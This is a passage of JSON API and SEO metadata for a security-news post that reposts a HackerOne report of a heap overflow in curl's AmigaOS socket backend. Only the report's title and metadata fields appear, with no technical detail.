News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-16T10:59:54&#8243;,&#8221;description&#8221;:&#8221;** Buffer Overflow in cURL AmigaOS Socket Implementation**\\n\\n## **Report Metadata**\\n- **Report ID:** H1-CURL-AMIGAOS-001\\n- **Report Title:** Heap Buffer Overflow in `Curl_ipv4_resolve_r` in AmigaOS Socket Backend\\n- **Component:**&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-31292","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>curl: Heap Overflow in cURL AmigaOS Socket Implementation_H1:3466896 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=31292\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"curl: Heap Overflow in cURL AmigaOS Socket Implementation_H1:3466896 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-16T10:59:54&#8243;,&#8221;description&#8221;:&#8221;** Buffer Overflow in cURL AmigaOS Socket Implementation**nn## **Report Metadata**n- **Report ID:** H1-CURL-AMIGAOS-001n- **Report Title:** Heap Buffer Overflow in `Curl_ipv4_resolve_r` in AmigaOS Socket Backendn- **Component:**...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=31292\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-16T05:32:12+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"17 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31292#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31292\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"curl: Heap Overflow in cURL AmigaOS Socket Implementation_H1:3466896\",\"datePublished\":\"2025-12-16T05:32:12+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31292\"},\"wordCount\":3362,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"hackerone\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31292#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31292\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31292\",\"name\":\"curl: Heap Overflow in cURL AmigaOS Socket Implementation_H1:3466896 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-16T05:32:12+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31292#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31292\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31292#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"curl: Heap Overflow in cURL AmigaOS Socket Implementation_H1:3466896\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"curl: Heap Overflow in cURL AmigaOS Socket Implementation_H1:3466896 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=31292","og_locale":"en_US","og_type":"article","og_title":"curl: Heap Overflow in cURL AmigaOS Socket Implementation_H1:3466896 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-16T10:59:54&#8243;,&#8221;description&#8221;:&#8221;** Buffer Overflow in cURL AmigaOS Socket Implementation**nn## **Report Metadata**n- **Report ID:** H1-CURL-AMIGAOS-001n- **Report Title:** Heap Buffer Overflow in `Curl_ipv4_resolve_r` in AmigaOS Socket Backendn- **Component:**...","og_url":"https:\/\/zero.redgem.net\/?p=31292","og_site_name":"zero redgem","article_published_time":"2025-12-16T05:32:12+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"17 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=31292#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=31292"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"curl: Heap Overflow in cURL AmigaOS Socket Implementation_H1:3466896","datePublished":"2025-12-16T05:32:12+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=31292"},"wordCount":3362,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","hackerone","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=31292#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=31292","url":"https:\/\/zero.redgem.net\/?p=31292","name":"curl: Heap Overflow in cURL AmigaOS Socket Implementation_H1:3466896 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-16T05:32:12+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=31292#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=31292"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=31292#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"curl: Heap Overflow in cURL AmigaOS Socket Implementation_H1:3466896"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31292","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=31292"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31292\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=31292"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=31292"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=31292"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}